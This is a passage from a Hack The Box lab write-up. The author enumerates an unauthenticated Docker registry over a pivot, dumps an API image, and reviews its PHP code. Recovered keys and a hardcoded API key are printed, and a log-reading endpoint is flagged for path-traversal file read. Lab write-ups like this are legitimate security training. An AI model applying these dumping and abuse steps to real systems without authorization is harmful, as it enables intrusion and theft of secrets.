Docker Registry
During the network scan with the pivoting technique, the 172.18.0.7
host was discovered with the port 5000
up and running a service
Performing an additional Nmap scan
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ proxychains -q nmap -sC -sV -p5000 172.18.0.7
starting nmap 7.94 ( https://nmap.org ) at 2023-08-22 21:05 CEST
stats: 0:01:05 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
service scan timing: About 0.00% done
Nmap scan report for 172.18.0.7
Host is up (0.082s latency).
PORT STATE SERVICE VERSION
5000/tcp open http docker registry (api: 2.0)
|_http-title: Site doesn't have a title.
service detection performed. please report any incorrect results at https://nmap.org/submit/ .
nmap done: 1 IP address (1 host up) scanned in 95.99 seconds
The 172.18.0.7
host is running a Docker Registry service API Version 2.0
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ proxychains -q curl http://172.18.0.7:5000/v2/_catalog
{"repositories":["cybermonday_api"]}
The registry contains a single repository; cybermonday_api
Based on the name, I’d assume that it contains a Docker image for the API web app.
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ proxychains -q curl http://172.18.0.7:5000/v2/_catalog -k
{"repositories":["cybermonday_api"]}
I can check if the registry requires authentication for access with the -k
flag
No authentication required
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ proxychains -q curl http://172.18.0.7:5000/v2/cybermonday_api/tags/list
{"name":"cybermonday_api","tags":["latest"]}
Listing the versions shows just one; latest
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ proxychains -q docker pull 172.18.0.7:5000/cybermonday_api
using default tag: latest
error response from daemon: Get "https://172.18.0.7:5000/v2/": dial tcp 172.18.0.7:5000: connect: no route to host
Attempting to pull the image with docker fails. I’d need to find a way around and there is a tool for that
dockerregistrygrabber is a Python tool to enumerate/dump docker registry (with or without basic authentication)
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ proxychains -q python3 DockerGrabber.py --help
[+]======================================================[+]
[|] Docker Registry Grabber v1 @SyzikSecu [|]
[+]======================================================[+]
usage: DockerGrabber.py [-h] [-p port] [-U USERNAME] [-P PASSWORD]
[--dump DOCKERNAME | --list | --dump_all]
url
positional arguments:
url URL
options:
-h, --help show this help message and exit
-p port port to use (default : 5000)
--dump DOCKERNAME DockerName
--list
--dump_all
authentication:
-U USERNAME Username
-P PASSWORD Password
The tool is fairly simple to use It does also support listing repos
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ proxychains -q python3 dockergrabber.py http://172.18.0.7:5000 --list
[+]======================================================[+]
[|] Docker Registry Grabber v1 @SyzikSecu [|]
[+]======================================================[+]
[+] cybermonday_api
There is the cybermonday_api
repo
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ proxychains -q python3 dockergrabber.py http://172.18.0.7 --dump_all
[+]======================================================[+]
[|] Docker Registry Grabber v1 @SyzikSecu [|]
[+]======================================================[+]
[+] cybermonday_api
[+] BlobSum found 27
[+] Dumping cybermonday_api
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce
[+] downloading : ced3ae14b696846cab74bd01a27a10cb22070c74451e8c0c1f3dcb79057bcc5e
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : ca62759c06e1877153b3eab0b3b734d6072dd2e6f826698bf55aedf50c0959c1
[+] downloading : 1696d1b2f2c3c8b37ae902dfd60316f8928a31ff8a5ed0a2f9bbf255354bdee8
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : 57cdb531a15a172818ddf3eea38797a2f5c4547a302b65ab663bac6fc7ec4d4f
[+] downloading : 4756652e14e0fb6403c377eb87fd1ef557abc7864bf93bf7c25e19f91183ce2c
[+] downloading : 5c3b6a1cbf5455e10e134d1c129041d12a8364dac18a42cf6333f8fee4762f33
[+] downloading : 9f5fbfd5edfcaf76c951d4c46a27560120a1cd6a172bf291a7ee5c2b42afddeb
[+] downloading : 57fbc4474c06c29a50381676075d9ee5e8dca9fee0821045d0740a5bc572ec95
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : dc968f4da64f18861801f2c677d2460c4cc530f2e64232f1a23021a9760ffdae
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : 1684de57270ea8328d20b9d17cda5091ec9de632dbba9622cce10b82c2b20e62
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : affe9439d2a25f35605a4fe59d9de9e65ba27de2403820981b091ce366b6ce70
[+] downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] downloading : 5b5fe70539cd6989aa19f25826309f9715a9489cf1c057982d6a84c1ad8975c7
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ ll
total 20K
4.0k drwxr-xr-x 2 kali kali 4.0k aug 22 21:24 cybermonday_api
4.0k drwxr-xr-x 3 kali kali 4.0k aug 22 21:23 .
4.0k drwxr-xr-x 6 kali kali 4.0k aug 22 21:22 ..
8.0k -rw-r--r-- 1 kali kali 5.7k aug 22 21:22 DockerGrabber.py
Using the --dump_all
flag to download all the blobs
┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/docker]
└─$ ll cybermonday_api
total 190M
28m -rw-r--r-- 1 kali kali 28m aug 22 21:24 5b5fe70539cd6989aa19f25826309f9715a9489cf1c057982d6a84c1ad8975c7.tar.gz
4.0k drwxr-xr-x 2 kali kali 4.0k aug 22 21:24 .
4.0k -rw-r--r-- 1 kali kali 32 aug 22 21:24 a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4.tar.gz
4.0k -rw-r--r-- 1 kali kali 224 aug 22 21:24 affe9439d2a25f35605a4fe59d9de9e65ba27de2403820981b091ce366b6ce70.tar.gz
100m -rw-r--r-- 1 kali kali 100m aug 22 21:24 1684de57270ea8328d20b9d17cda5091ec9de632dbba9622cce10b82c2b20e62.tar.gz
4.0k -rw-r--r-- 1 kali kali 269 aug 22 21:24 dc968f4da64f18861801f2c677d2460c4cc530f2e64232f1a23021a9760ffdae.tar.gz
12m -rw-r--r-- 1 kali kali 12m aug 22 21:24 57fbc4474c06c29a50381676075d9ee5e8dca9fee0821045d0740a5bc572ec95.tar.gz
4.0k -rw-r--r-- 1 kali kali 492 aug 22 21:24 9f5fbfd5edfcaf76c951d4c46a27560120a1cd6a172bf291a7ee5c2b42afddeb.tar.gz
35m -rw-r--r-- 1 kali kali 35m aug 22 21:24 5c3b6a1cbf5455e10e134d1c129041d12a8364dac18a42cf6333f8fee4762f33.tar.gz
4.0k -rw-r--r-- 1 kali kali 2.4k aug 22 21:23 4756652e14e0fb6403c377eb87fd1ef557abc7864bf93bf7c25e19f91183ce2c.tar.gz
4.0k -rw-r--r-- 1 kali kali 243 aug 22 21:23 57cdb531a15a172818ddf3eea38797a2f5c4547a302b65ab663bac6fc7ec4d4f.tar.gz
15m -rw-r--r-- 1 kali kali 15m aug 22 21:23 1696d1b2f2c3c8b37ae902dfd60316f8928a31ff8a5ed0a2f9bbf255354bdee8.tar.gz
116k -rw-r--r-- 1 kali kali 116k aug 22 21:23 ca62759c06e1877153b3eab0b3b734d6072dd2e6f826698bf55aedf50c0959c1.tar.gz
512k -rw-r--r-- 1 kali kali 510k aug 22 21:23 ced3ae14b696846cab74bd01a27a10cb22070c74451e8c0c1f3dcb79057bcc5e.tar.gz
512k -rw-r--r-- 1 kali kali 510k aug 22 21:23 beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce.tar.gz
4.0k drwxr-xr-x 3 kali kali 4.0k aug 22 21:23 ..
The dump contains the list of blobs, and each represent a commit to the image
┌──(kali㉿kali)-[~/…/labs/cybermonday/docker/cybermonday_api]
└─$ mkdir decompressed ; cat *.tar.gz | tar -xzf - -C decompressed -i
Extracting content to the decompressed
directory
┌──(kali㉿kali)-[~/…/labs/cybermonday/docker/cybermonday_api]
└─$ ll decompressed
total 68K
4.0k drwxr-xr-x 17 kali kali 4.0k aug 22 21:58 .
4.0k drwxr-xr-x 3 kali kali 4.0k aug 22 21:58 ..
4.0k drwxr-xr-x 2 kali kali 4.0k jul 3 07:00 tmp
4.0k drwx------ 2 kali kali 4.0k jun 14 07:09 root
4.0k drwxr-xr-x 12 kali kali 4.0k jun 14 06:37 var
4.0k drwxr-xr-x 34 kali kali 4.0k jun 14 06:36 etc
0 lrwxrwxrwx 1 kali kali 7 jun 12 02:00 bin -> usr/bin
4.0k drwxr-xr-x 2 kali kali 4.0k jun 12 02:00 dev
0 lrwxrwxrwx 1 kali kali 7 jun 12 02:00 lib -> usr/lib
0 lrwxrwxrwx 1 kali kali 9 jun 12 02:00 lib32 -> usr/lib32
0 lrwxrwxrwx 1 kali kali 9 jun 12 02:00 lib64 -> usr/lib64
0 lrwxrwxrwx 1 kali kali 10 jun 12 02:00 libx32 -> usr/libx32
4.0k drwxr-xr-x 2 kali kali 4.0k jun 12 02:00 media
4.0k drwxr-xr-x 2 kali kali 4.0k jun 12 02:00 mnt
4.0k drwxr-xr-x 2 kali kali 4.0k jun 12 02:00 opt
4.0k drwxr-xr-x 3 kali kali 4.0k jun 12 02:00 run
0 lrwxrwxrwx 1 kali kali 8 jun 12 02:00 sbin -> usr/sbin
4.0k drwxr-xr-x 2 kali kali 4.0k jun 12 02:00 srv
4.0k drwxr-xr-x 14 kali kali 4.0k jun 12 02:00 usr
4.0k drwxr-xr-x 2 kali kali 4.0k mar 2 14:55 boot
4.0k drwxr-xr-x 2 kali kali 4.0k mar 2 14:55 home
4.0k drwxr-xr-x 2 kali kali 4.0k mar 2 14:55 proc
4.0k drwxr-xr-x 2 kali kali 4.0k mar 2 14:55 sys
The content is an entire Linux filesystem indeed
cybermonday_api
┌──(kali㉿kali)-[~/…/cybermonday/docker/cybermonday_api/decompressed]
└─$ cd var/www/html/ ; ll
total 64K
4.0K -rw-r--r-- 1 kali kali 153 Jun 30 17:26 config.php
4.0K drwxr-xr-x 6 kali kali 4.0K Jun 14 06:37 .
4.0K drwxr-xr-x 3 kali kali 4.0K Jun 14 06:37 ..
4.0K drwxr-xr-x 2 kali kali 4.0K May 29 04:03 public
4.0K -rw-r--r-- 1 kali kali 10 May 29 03:46 .dockerignore
4.0K drwxr-xr-x 2 kali kali 4.0K May 29 01:51 keys
4.0K -rw-r--r-- 1 kali kali 328 May 29 01:20 composer.json
24K -rw-r--r-- 1 kali kali 22K May 29 01:20 composer.lock
4.0K drwxr-xr-x 9 kali kali 4.0K May 29 01:20 vendor
4.0K drwxr-xr-x 8 kali kali 4.0K May 28 19:36 app
4.0K -rw-r--r-- 1 kali kali 56 May 8 18:25 bootstrap.php
Looking at the web directory reveals a JS app, which is likely the API web application
┌──(kali㉿kali)-[~/…/decompressed/var/www/html]
└─$ cat composer.json
{
"autoload": {
"psr-4": {
"app\\": "app/"
},
"files": [
"app/functions/webhook_actions.php",
"app/functions/jwt.php"
]
},
"require": {
"ramsey/uuid": "^4.7",
"firebase/php-jwt": "4.0",
"codercat/jwk-to-pem": "^1.1"
}
}
It is the indeed the API web app
┌──(kali㉿kali)-[~/…/decompressed/var/www/html]
└─$ ll public
total 20K
4.0K -rw-r--r-- 1 kali kali 98 Jun 30 17:25 index.php
4.0K drwxr-xr-x 6 kali kali 4.0K Jun 14 06:37 ..
4.0K -rw-r--r-- 1 kali kali 602 May 29 04:03 .htaccess
4.0K drwxr-xr-x 2 kali kali 4.0K May 29 04:03 .
4.0K -rw-r--r-- 1 kali kali 447 May 29 01:41 jwks.json
There is the secret key; jwks.json
I will try to compare this with the one from the live instance
┌──(kali㉿kali)-[~/…/decompressed/var/www/html]
└─$ cat public/jwks.json
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"n": "pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w",
"e": "AQAB"
}
]
}
┌──(kali㉿kali)-[~/…/decompressed/var/www/html]
└─$ curl http://webhooks-api-beta.cybermonday.htb/jwks.json
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"n": "pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w",
"e": "AQAB"
}
]
}
They are identical. This confirms it
Keys
┌──(kali㉿kali)-[~/…/var/www/html/keys]
└─$ ll
total 16K
4.0k -rw-r--r-- 1 kali kali 451 jun 30 17:48 public.pem
4.0k -rw------- 1 kali kali 1.7k jun 30 17:48 private.pem
There is also the public/private key pair for the web application
Router.php
The
app/routes/Router.php
file provides a simple configuration for routing different HTTP requests
All the API endpoints are listed here, and their co-responding controller actions to handle the request appropriately
IndexController.php
The
app/controllers/IndexController.php
file also provides somewhat similar information to the Router.php file
But it also does provide the available routes, their methods, and potential parameters in those API enpoints
AuthController.php
The
app/controllers/AuthController.php
file appears to handle both register
and login
actions
- The
register
action takes bothusername
andpasssword
parameters- the
role
parameter is predefined touser
- meaning that it’s impossible to become
admin
via theregister
action
- meaning that it’s impossible to become
- the
- The
login
action generates a token(x-access-token
) that contains 3 attributes;id
,username
, androle
jwt.php
The
app/functions/jwt.php
file is used by the app/controllers/AuthController.php
file above to handle the login
action with the createToken
function
It uses the public/private key pair above
LogsController.php
<?php
namespace app\controllers;
use app\helpers\Api;
use app\models\Webhook;
class LogsController extends Api
{
public function index($request)
{
$this->apiKeyAuth();
$webhook = new Webhook;
$webhook_find = $webhook->find("uuid", $request->uuid);
if(!$webhook_find)
{
return $this->response(["status" => "error", "message" => "Webhook not found"], 404);
}
if($webhook_find->action != "createLogFile")
{
return $this->response(["status" => "error", "message" => "This webhook was not created to manage logs"], 400);
}
$actions = ["list", "read"];
if(!isset($this->data->action) || empty($this->data->action))
{
return $this->response(["status" => "error", "message" => "\"action\" not defined"], 400);
}
if($this->data->action == "read")
{
if(!isset($this->data->log_name) || empty($this->data->log_name))
{
return $this->response(["status" => "error", "message" => "\"log_name\" not defined"], 400);
}
}
if(!in_array($this->data->action, $actions))
{
return $this->response(["status" => "error", "message" => "invalid action"], 400);
}
$logPath = "/logs/{$webhook_find->name}/";
switch($this->data->action)
{
case "list":
$logs = scandir($logPath);
array_splice($logs, 0, 1); array_splice($logs, 0, 1);
return $this->response(["status" => "success", "message" => $logs]);
case "read":
$logName = $this->data->log_name;
if(preg_match("/\.\.\//", $logName))
{
return $this->response(["status" => "error", "message" => "This log does not exist"]);
}
$logName = str_replace(' ', '', $logName);
if(stripos($logName, "log") === false)
{
return $this->response(["status" => "error", "message" => "This log does not exist"]);
}
if(!file_exists($logPath.$logName))
{
return $this->response(["status" => "error", "message" => "This log does not exist"]);
}
$logContent = file_get_contents($logPath.$logName);
return $this->response(["status" => "success", "message" => $logContent]);
}
}
}
Surprisingly, the app/controllers/LogsController.php
file defines 2 additional actions that was not shown in the app/controllers/IndexController.php
file above, but this ONLY gets invoked from the API Endpoint at /webhooks/:uuid/logs
Those are list
and read
actions;
-
list
Action:- The
list
action is triggered if it’s supplied to theaction
parameter of the API Endpoint at/webhooks/:uuid/logs
- This action aims to retrieve a list of log files associated with a particular webhook
- It uses the
scandir
function to list the files in a specified directory (log directory associated with the webhook) - The initial elements
.
and..
(current directory and parent directory) are removed from the list - The resulting list of log files is returned as a response with a “success” status
- The
-
read
Action:- The
list
action is triggered if it’s supplied to theaction
parameter of the API Endpoint at/webhooks/:uuid/logs
- This action is designed to read the content of a specific log file associated with a webhook
- It first checks if the requested log file exists in the specified log directory
- If the log file doesn’t exist or if the log name includes certain forbidden characters or patterns, an appropriate error response is returned
- If the log file exists and passes the checks, the content of the log file is read using
file_get_contents
- The content of the log file is then returned as a response with a “success” status
- The
I believe that these 2 actions could be abused for file read
Another important point to make here is the following line; $this->apiKeyAuth();
- appears to be a prerequisite to get to either of actions above
- performs a form authentication process by calling the
apiKeyAuth()
function- if the
apiKeyAuth()
function does not returntrue
, it’s impossible to get to either of actions above
- if the
- The
apiKeyAuth()
function is present in theapp\helpers\Api.php
file below
Api.php
<?php
namespace app\helpers;
use app\helpers\Request;
abstract class Api
{
protected $data;
protected $user;
private $api_key;
public function __construct()
{
$method = request::method();
if(!isset($_SERVER['CONTENT_TYPE']) && $method != "get" || $method != "get" && $_SERVER['CONTENT_TYPE'] != "application/json")
{
return http_response_code(404);
}
header('content-type: application/json; charset=utf-8');
$this->data = json_decode(file_get_contents("php://input"));
}
public function auth()
{
if(!isset($_SERVER["HTTP_X_ACCESS_TOKEN"]) || empty($_SERVER["HTTP_X_ACCESS_TOKEN"]))
{
return $this->response(["status" => "error", "message" => "Unauthorized"], 403);
}
$token = $_SERVER["HTTP_X_ACCESS_TOKEN"];
$decoded = decodeToken($token);
if(!$decoded)
{
return $this->response(["status" => "error", "message" => "Unauthorized"], 403);
}
$this->user = $decoded;
}
public function apiKeyAuth()
{
$this->api_key = "22892e36-1770-11ee-be56-0242ac120002";
if(!isset($_SERVER["HTTP_X_API_KEY"]) || empty($_SERVER["HTTP_X_API_KEY"]) || $_SERVER["HTTP_X_API_KEY"] != $this->api_key)
{
return $this->response(["status" => "error", "message" => "Unauthorized"], 403);
}
}
public function admin()
{
$this->auth();
if($this->user->role != "admin")
{
return $this->response(["status" => "error", "message" => "Unauthorized"], 403);
}
}
public function response(array $data, $status = 200) {
http_response_code($status);
die(json_encode($data));
}
The app\helpers\Api.php
file indeed contains the apiKeyAuth()
function mentioned above
It seems to check for the api_key
variable in the X_API_KEY
header
- The
api_key
variable is essentially a secret key;22892e36-1770-11ee-be56-0242ac120002
x_api_key: 22892e36-1770-11ee-be56-0242ac120002
So this means that I just need to supply the api_key
variable in the X_API_KEY
header when attempting to abuse those 2 actions above